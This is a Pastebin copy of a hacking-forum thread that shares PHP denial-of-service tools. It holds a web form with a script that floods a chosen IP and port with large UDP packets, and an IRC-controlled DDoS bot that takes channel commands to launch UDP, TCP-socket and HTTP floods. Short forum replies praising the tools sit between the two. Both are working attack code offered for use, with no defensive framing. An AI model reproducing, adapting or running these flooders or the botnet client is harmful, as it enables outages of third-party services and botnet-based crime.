Advertisement
CyberDarx

PHP DDOS

Apr 26th, 2013
547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.99 KB | None | 0 0
  1. <?php
  2.         $ip = $_SERVER['REMOTE_ADDR'];
  3.         ?>
  4.  
  5.         <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  6.         <html>
  7.  
  8.         <head>
  9.             <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
  10.             <meta name="author" content="">
  11.  
  12.             <title>PHP DoS, Coded by EXE</title>
  13.         </head>
  14.         <!-- PHP DOS, coded by EXE -->
  15.         <style type="text/css">
  16.         <!--
  17.         body {
  18.             font-family: Arial, Helvetica, sans-serif;
  19.             font-size: 12px;
  20.             font-style: normal;
  21.             line-height: normal;
  22.             color: #FFFFFF;
  23.             background-color: #000000;
  24.         }
  25.  
  26.  
  27.  
  28.         -->
  29.         </style>
  30.         <!-- PHP DOS, coded by EXE -->
  31.         <body>
  32.         <center><br><br>
  33.         <img src="main.jpg"><br>
  34.         <b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>&nbsp;(Don't DoS yourself nub)<br><br>
  35.         <form name="input" action="function.php" method="post">
  36.         IP:
  37.         <input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
  38.         &nbsp;&nbsp;&nbsp;&nbsp;Time:
  39.         <input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
  40.         &nbsp;&nbsp;&nbsp;&nbsp;Port:
  41.         <input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
  42.         <br><br>
  43.         <input type="submit" value="    Start the Attack--->    ">
  44.         <br><br>
  45.         <center>
  46.         After initiating the DoS attack, please wait while the browser loads.
  47.         </center>
  48.  
  49.         </form>
  50.         </center>
  51.         <!-- PHP DOS, coded by EXE -->
  52.         </body>
  53.         </html>
  54.  
  55.  
  56.         funtion.php
  57.  
  58.         Code:
  59.  
  60.         <?php
  61.  
  62.         //=================================================
  63.         //PHP DOS v1.8 (Possibly Stronger Flood Strength)
  64.         //Coded by EXE
  65.         //www.ZeroDayExile.com
  66.         //=================================================
  67.  
  68.         $packets = 0;
  69.         $ip = $_POST['ip'];
  70.         $rand = $_POST['port'];
  71.         set_time_limit(0);
  72.         ignore_user_abort(FALSE);
  73.  
  74.         $exec_time = $_POST['time'];
  75.  
  76.         $time = time();
  77.         print "Flooded: $ip on port $rand <br><br>";
  78.         $max_time = $time+$exec_time;
  79.  
  80.  
  81.  
  82.         for($i=0;$i<65535;$i++){
  83.                 $out .= "X";
  84.         }
  85.         while(1){
  86.         $packets++;
  87.                 if(time() > $max_time){
  88.                         break;
  89.                 }
  90.                
  91.                 $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  92.                 if($fp){
  93.                         fwrite($fp, $out);
  94.                         fclose($fp);
  95.                 }
  96.         }
  97.         echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
  98.         ?>
  99.  
  100.     Reply With Quote Reply With Quote
  101.     11-15-2009, 12:30 PM #3
  102.     z0mb13
  103.     z0mb13 is offline
  104.     Senior
  105.     z0mb13's Avatar
  106.  
  107.     Join Date
  108.         Nov 2009
  109.     Posts
  110.         252
  111.     Total 'Thanks' Received by This User :
  112.     0 For This Post
  113.     1 Total
  114.  
  115.     Send a message via Yahoo to z0mb13
  116.  
  117.         maisih suka di pake dgn gw,v3n0m,edelweiss,aRiee,lingah itu kok
  118.  
  119.         dan hasil'a lumayan memuaskan
  120.  
  121.     Reply With Quote Reply With Quote
  122.     11-15-2009, 12:34 PM #4
  123.     alex_owners
  124.     alex_owners is offline
  125.     Junior Member
  126.     alex_owners's Avatar
  127.  
  128.     Join Date
  129.         Nov 2009
  130.     Posts
  131.         83
  132.     Total 'Thanks' Received by This User :
  133.     0 For This Post
  134.     0 Total
  135.  
  136.     Send a message via Yahoo to alex_owners
  137.     PHP Ddos BOT
  138.  
  139.         izin d plajarin duluya k
  140.         manatau pandai, hehe
  141.  
  142.     Reply With Quote Reply With Quote
  143.     11-16-2009, 10:28 AM #5
  144.     zuchri
  145.     zuchri is offline
  146.     Junior Member
  147.     zuchri's Avatar
  148.  
  149.     Join Date
  150.         Nov 2009
  151.     Posts
  152.         2
  153.     Total 'Thanks' Received by This User :
  154.     0 For This Post
  155.     0 Total
  156.  
  157.     Talking
  158.  
  159.         Quote Originally Posted by z0mb13 View Post
  160.         Code:
  161.  
  162.         <?php
  163.  
  164.  
  165.         /*
  166.  
  167.  
  168.         PHP DDoS Bot
  169.         Version 1.0
  170.         [www.~censored~.org]
  171.  
  172.  
  173.         */
  174.  
  175.  
  176.         $server="1.3.3.7";
  177.         $Port="6667";
  178.         $nick="bot-";$willekeurig;
  179.         $willekeurig=mt_rand(0,3);
  180.         $nicknummer=mt_rand(100000,999999);
  181.         $Channel="#WauShare";
  182.         $Channelpass="ddos";
  183.         $msg="Farewell.";
  184.  
  185.         set_time_limit(0);
  186.         $loop = 0; $verbonden = 0;
  187.         $verbinden = fsockopen($server, $Port);
  188.  
  189.         while ($read = fgets($verbinden,512)) {
  190.  
  191.         $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
  192.         $read2 = explode(" ",$read);
  193.  
  194.         if ($loop == 0) {
  195.         fputs($verbinden,"nick $nick$nicknummer\n\n");
  196.         fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
  197.         }
  198.  
  199.         if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
  200.  
  201.         if ($read2[1] == 251) {
  202.         fputs($verbinden,"join $Channel $Channelpass\n");
  203.         $verbonden++;
  204.         }
  205.  
  206.  
  207.         if (eregi("bot-op",$read)) {
  208.         fputs($verbinden,"mode $Channel +o $read2[4]\n");
  209.         }
  210.  
  211.  
  212.         if (eregi("bot-deop",$read)) {
  213.         fputs($verbinden,"mode $Channel -o $read2[4]\n");
  214.         }
  215.  
  216.         if (eregi("bot-quit",$read)) {
  217.         fputs($verbinden,"quit :$msg\n\n");
  218.         break;
  219.         }
  220.  
  221.         if (eregi("bot-join",$read)) {
  222.         fputs($verbinden,"join $read2[4]\n");
  223.         }
  224.  
  225.         if (eregi("bot-part",$read)) {
  226.         fputs($verbinden,"part $read2[4]\n");
  227.         }
  228.  
  229.  
  230.         if (eregi("ddos-udp",$read)) {
  231.         fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
  232.         $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
  233.         if (!$fp)
  234.         {
  235.         //echo "$errstr ($errno)<br>\n"; //troep
  236.         exit;
  237.         }
  238.         else
  239.         {
  240.         $char = "a";
  241.         for($a = 0; $a < 9999999999999; $a++)
  242.         $data = $data.$char;
  243.  
  244.         if(fputs ($fp, $data) )
  245.         fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
  246.         else
  247.         fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
  248.         }
  249.         }
  250.  
  251.         if (eregi("ddos-tcp",$read)) {
  252.         fputs($verbinden,"part $read2[4]\n");
  253.         fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
  254.         $server = $read2[4];
  255.         $Port = $read2[5];
  256.  
  257.         for($sockets = 0; $sockets < $read2[6]; $sockets++)
  258.         {
  259.         $verbinden = fsockopen($server, $Port);
  260.         }
  261.         }
  262.  
  263.         if (eregi("ddos-http",$read)) {
  264.         fputs($verbinden,"part $read2[4]\n");
  265.         fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
  266.         $Webserver = $read2[4];
  267.         $Port = $read2[5];
  268.  
  269.         $Aanvraag = "GET / HTTP/1.1\r\n";
  270.         $Aanvraag .= "Accept: */*\r\n";
  271.         $Aanvraag .= "Accept-Language: nl\r\n";
  272.         $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
  273.         $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
  274.         $Aanvraag .= "Host: $read2[4]\r\n";
  275.         $Aanvraag .= "Connection: Keep-Alive\r\n\r\n";
  276.  
  277.         for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
  278.         {
  279.         $DoS = fsockopen($Webserver, $Port);
  280.         fwrite($DoS, $Aanvraag);
  281.         fclose($DoS);
  282.         }
  283.         }
  284.         $loop++;
  285.  
  286.         }
  287.         ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement